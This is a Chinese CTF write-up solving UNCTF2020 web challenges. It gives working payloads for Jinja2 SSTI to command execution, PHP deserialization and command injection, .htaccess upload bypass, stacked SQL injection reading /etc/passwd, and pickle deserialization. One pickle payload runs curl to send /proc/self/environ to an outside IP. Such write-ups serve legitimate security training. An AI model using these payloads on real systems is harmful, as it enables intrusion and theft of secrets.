文章目录

  • Web方向
    • easy_ssrf
    • easyflask
    • 俄罗斯方块人大战奥特曼
    • easyunserialize
    • babyeval
    • ezphp
    • easy_upload
    • UN's_online_tools
    • ezfind
    • 其他的题目的一些思路:
      • checkin-sql:
      • easyphp:
  • easy_flask2
    • 方法一
    • 方法二

Web方向

easy_ssrf

php遇到不认识的协议就会当目录处理
?url=0://unctf.com/../../../../../../../../flag

easyflask

SSTI/沙盒逃逸详细总结
SSTI模板注入及绕过姿势(基于Python-Jinja2)
解题思路:{{2*2}}
发现是ssti,过滤了_'"[]%,使用(request.args.x1),get请求x1绕过__class__
写一个get请求的payload:
读取所有的class类

?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())}}&x1=__class__&x2=__base__&x3=__subclasses__


发现165是warnings.WarningMessage
最后构造出paylaod:

?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())|attr(request.args.x6)(165)|%20attr(request.args.x4)|%20attr(request.args.x5)|%20attr(request.args.x6)(request.args.x7)|attr(request.args.x6)(request.args.x8)(request.args.x9)}}
&x1=__class__
&x2=__base__
&x3=__subclasses__
&x4=__init__
&x5=__globals__
&x6=__getitem__
&x7=__builtins__
&x8=eval
&x9=__import__(%22os%22).popen("ls").read()


最后读取flag.txt即可

俄罗斯方块人大战奥特曼


下载压缩包

查找字符串flag,找到一个this is your flag ,访问这个html即可

easyunserialize

ctfshow上的题目,月饼杯,几乎是一模一样的,做过一遍了。。。。
反序列化字符串逃逸,需要逃逸";s:8:"password";s:5:"easy";}29个字符串,但challengeeasychallenge是四个字符串,卡了很久,最后尝试去掉最后一个}可以成功,很懵

challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";

babyeval

直接反引号`执行命令,不能有flag,使用base4编码秒了

?a=echo `ls|base64`;


最后cat flag.php即可

?a=echo `cat flag.php|base64`;

ezphp

网上几乎一模一样的题目,实验吧的,秒了
构造两个数组使bool值为真(true跟任意字符串都弱类型相等)

data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

easy_upload

这题是考.htaccess的,做过buuctf的应该都会,例题:[SUCTF 2019]EasyWeb[XNUCA2019Qualifier]EasyPHP。然后秒了
禁止上传后缀带ph的和内容带ph的,并检测content
首先上传shell.abc,内容为一句话的base64编码

然后上传.htaccess,用\绕过检测,这正则匹配了一个寂寞,应该不能这样写的呀

不多bb直接得到flag

UN’s_online_tools

一开始是sqlmap一把梭,然后发现没有flag,想了很久想到sqlmap读取文件秒了,没有复现环境,改为另一个题了。。嘤嘤嘤
命令执行,直接秒杀
空格可以用%09绕过,后面就没有难度了

ezfind

给出了提示才做出来的:if(!(is_file($name)===false)){flag}else{no flag}
然后盲猜数组,结果就出来flag了,看一下为什么

发现是NULL,然后===false是false,再来一个!结果就是true

其他的题目的一些思路:

checkin-sql:

1';PREPARE hacker from concat('selec','t',' * from `0xDktb`');EXECUTE hacker;#

即可执行任意的sql语句,可以读任意文件

1';PREPARE hacker from concat('selec','t',' load','_file','(0x2f6574632f706173737764)');EXECUTE hacker;#

但。。。。找不到flag,写文件的话不知道是姿势错了还是写不进去,tcl

easyphp:

这题本地发现可以${``}执行任意命令,但有长度限制,6位一下命令执行网上一大堆,前面的admin密码直接变量覆盖,sha1使用数组失败,应该是爆破0e,没爆破出来Orz

easy_flask2

pickle反序列化的利用技巧总结
pickle反序列化初探
Python pickle 反序列化实例分析

/source得到源码

from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64class Person:def __init__(self, name, is_admin):self.name = nameself.is_admin = is_adminclass RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module == '__main__':return getattr(sys.modules['__main__'], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):return RestrictedUnpickler(io.BytesIO(s)).load()app = Flask(__name__)
flag = "xxx"@app.route("/")
def index():app.config["SECRET_KEY"] = config.secret_keyreturn redirect("login")@app.route("/login",methods=["GET","POST"])
def login():if request.form.get('name'):name = request.form.get('name')person = Person(name,0)pkl = pickle.dumps(person)pkl = base64.b64encode(pkl)resp = make_response(name)resp.set_cookie('pkl',pkl)session['name'] = namesession['is_admin'] = 0return respelse:if session.get('name'):if b'R' in base64.b64decode(request.cookies['pkl']):return "RCE??"person = pickle.loads(base64.b64decode(request.cookies['pkl']))print(person.is_admin)if session.get('is_admin') == 1:#person = pickle.loads(base64.b64decode(request.cookies['pkl']))if person.is_admin == 1:return "HHHacker!Here is Your flag : " + flagreturn render_template("index.html",name=session.get('name'))else: return render_template("login.html")@app.route("/logout",methods=["GET","POST"])
def logout():resp = make_response("success")resp.delete_cookie("session")resp.delete_cookie("pkl")return resp@app.route("/source")
def source():return open('code.txt','r').read()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000,debug=True)

发现pickle,那么可能是python反序列化,发现进行pickle反序列化的时候只允许__main__模块

方法一

这里使用 c 操作符控制 config.secret_key
通过c操作符(即GLOBAL指令)覆盖secret_key和is_admin的值
首先尝试使用pker生成payload

secret = GLOBAL('__main__', 'config')
secret.secret_key = 'hello'
person = INST('__main__', 'Person', 'admin', 1)
return person

然后python3 pker.py < test.txt
但是官方wp说0号协议不能用,需要3号协议,不会了,payload为

\x80\x03c__main__\nconfig\n}(Vsecret_key\nVcioier\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00Cxloverq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.

具体流程,登录过后,修改coookie的pkl,访问/login反序列化覆盖 secret_key ,然后再访问 / 覆盖掉 app.config["SECRET_KEY"],接着更改 cookie 的 session 为篡改的 session 访问 /login 即可获得 flag
伪造session使用flask_session_cookie_manager

import requestsurl = "http://cbc0bd6f-2b6c-40eb-9b25-e69f293b2a4a.node1.hackingfor.fun/"
#正常的cookie值
headers1 = {"Cookie":"pkl=gASVPQAAAAAAAACMCF9fbWFpbl9flIwGUGVyc29ulJOUKYGUfZQojARuYW1llIwHQ3hsb3ZlcpSMCGlzX2FkbWlulEsAdWIu; session=eyJpc19hZG1pbiI6MCwibmFtZSI6IkN4bG92ZXIifQ.YY_kJA.CkMNAiYIGjqVqVXZg73VAd_RGSI"
}
#只修改了pkl的cookie值
headers2 = {"Cookie":"pkl=gANjX19tYWluX18KY29uZmlnCn0oVnNlY3JldF9rZXkKVmNpb2llcgp1YjBjX19tYWluX18KUGVyc29uCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gHAAAAQ3hsb3ZlcnEEWAgAAABpc19hZG1pbnEFSwF1Yi4=;session=eyJpc19hZG1pbiI6MCwibmFtZSI6IkN4bG92ZXIifQ.YY_kJA.CkMNAiYIGjqVqVXZg73VAd_RGSI"
}
#同时伪造了pkl和session的cookie
headers3 = {"Cookie":"pkl=gANjX19tYWluX18KY29uZmlnCn0oVnNlY3JldF9rZXkKVmNpb2llcgp1YjBjX19tYWluX18KUGVyc29uCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gHAAAAQ3hsb3ZlcnEEWAgAAABpc19hZG1pbnEFSwF1Yi4=;session=eyJpc19hZG1pbiI6MSwibmFtZSI6IkN4bG92ZXIifQ.YY_k-A.7Dh_sZNchzUt3E1Z8B0xHaJbaG0"
}data = {"name":"Cxlover"
}requests.post(url=url+"login", data=data)
requests.get(url=url+"login",headers=headers1)
requests.get(url=url+"login",headers=headers2)
requests.get(url)           #访问根目录,重设 SECRET_KEY
ans = requests.get(url=url+"login",headers=headers3)
print(ans.text)

伪造session成功后获取flag

方法二

直接不使用R来进行rce
R:

b'''cos
system
(S'whoami'
tR.'''

i:

b'''(S'whoami'
ios
system
.'''

o:

b'''(cos
system
S'whoami'
o.'''

我们这里使用curl请求,然后nc接收得到回显的内容,当然也可以反弹shell,更简单

import base64
data=b'''(S'curl -F "filename=@/proc/self/environ" 110.42.134.160:6666'
ios
system
.'''
print(base64.b64encode(data))

base64编码传入,然后就可以看到回显了

参考:UNCTF2020 WriteUp

UNCTF2020web方向部分题解相关推荐

  1. 机器学习与数据挖掘基本算法初步介绍

    随着互联网技术的发展,特别是web2.0时代的到来,互联网为我们提供了丰富的数据来源,如何充分的利用这些数据,挖掘用户信息,是下一代互联网急需解决的问题. 机器学习和数据挖掘主要是解决以下几个方面的问 ...

  2. 【缄*默】 #DP# 各种DP的实现方法(更新ing)

    DP =「状态」+「阶段」+「决策」 基本原理 = 「有向无环图」+「最优子结构」+「无后效性」 目录 一. 线性DP { 1.概念引入 } { 2.例题详解 } [例题1]caioj 1064 最长 ...

  3. 【考研408】计算机与组成原理笔记

    文章目录 计算机系统概述 计算机系统层次结构 计算机硬件的基本组成 计算机软件的分类 计算机的工作过程 计算机系统的多级层次结构 课后习题 计算机的性能指标 计算机的主要性能指标 几个专业术语 课后习 ...

  4. 今日头条2018校招测试开发方向(第一、二、三、四批)编程题汇总 - 题解

    对于今日头条这家公司来说,测试的题和后端开发的题几乎是一样的,但是由于第一批的后端开发的题没有在牛客网上放出来,因此,猜测后端开发第一批的题应该和后端开发第一批的题一样,同时也想做一个测试方向编程题的 ...

  5. 美团点评2018春招后台开发方向编程题 - 题解

    美团这次的春招后端方向是两个编程题,没有考比较难的算法,如果日积月累刷题还是可以做出来的. 第一题:字符串距离 题目: 给出两个相同长度的由字符 a 和 b 构成的字符串,定义它们的距离为对应位置不同 ...

  6. 美团点评2020校招系统开发方向笔试题(编程题题解)

    这套笔试题的编程题很简单,感觉没什么可以写的题解的 [编程题]大数加法 注意下负号的情况 #include <bits/stdc++.h> using namespace std; typ ...

  7. 题解-今日头条2018校招后端方向(第二批)

    原题链接 链接:https://www.nowcoder.net/questionTerminal/429c2c5a984540d5ab7b6fa6f0aaa8b5 作为一个手串艺人,有金主向你订购了 ...

  8. 题解-今日头条2018校招后端方向(第四批)

    原题链接 链接:https://www.nowcoder.net/questionTerminal/fcd645af2750401588d9e92aea05d630 有一个仅包含'a'和'b'两种字符 ...

  9. 2020字节跳动校园招聘算法方向第一场考试题解

    第一题 [题意] 给出<a,b>,可以理解为a的爸爸是b,现在你要依次输出每个爸爸的所有儿子,儿子之间按照字典序排序 [思路] 思路不难,用map将爸爸的名字映射成数字,然后建一个二维ve ...

最新文章

  1. 这款IDEA插件刷爆了朋友圈,网友:这用起来有点酸爽~
  2. CentOS7安装RabbitMQ集群
  3. Java 并发编程笔记(一)
  4. 阿里云企业服务器配置选择教程!
  5. brew改源无效问题之一
  6. 2019 Python100道 面试 题,你会几道?
  7. [Oracle] CPU/PSU补丁安装教程
  8. Python助力期末
  9. 通过改进视频质量评估提升编码效率
  10. Leecode刷题热题HOT100(9)——回文数
  11. 【推荐实践】阿里飞猪“猜你喜欢”推荐排序实践
  12. 有没有能够很快上手的报表框架
  13. java 枚举获取key_「Java必修课」HashMap性能很好?问过我EnumMap没
  14. mysql网上图书销售_PHP+MySQL网上书店|网上图书销售系统
  15. 刷题——逆波兰表达式
  16. loj10099 点双连通分量
  17. python语音特征提取_使用Python从视频中提取语音
  18. Arduino的数字信号、模拟信号以及串口整理
  19. 大一新生千万要提前准备好好看的证件照啊
  20. 读俞敏洪老师自传有感

热门文章

  1. C++信息学奥赛一本通(T1413:确定进制)
  2. 高通机器视觉快速指南二
  3. 第二次信奥考试试题及题解(部分)
  4. 批量转换经纬度的网页实现方法
  5. jira是干什么_JIRA的使用介绍(一)- 概念篇
  6. Java实现 for循环输出空心的菱形 在main方法中调用printHollowRhombus()方法完成10行的空心菱形输出,其中 printHollo
  7. android使用JavaMail开发邮箱APP
  8. Flutter在Android平台实现消息推送
  9. STM32驱动开发(二)--USB Device RNDIS虚拟网卡(USB2.0 基础概念讲解)
  10. 《软件技术学研会-技术培训》第0章 操作系统安装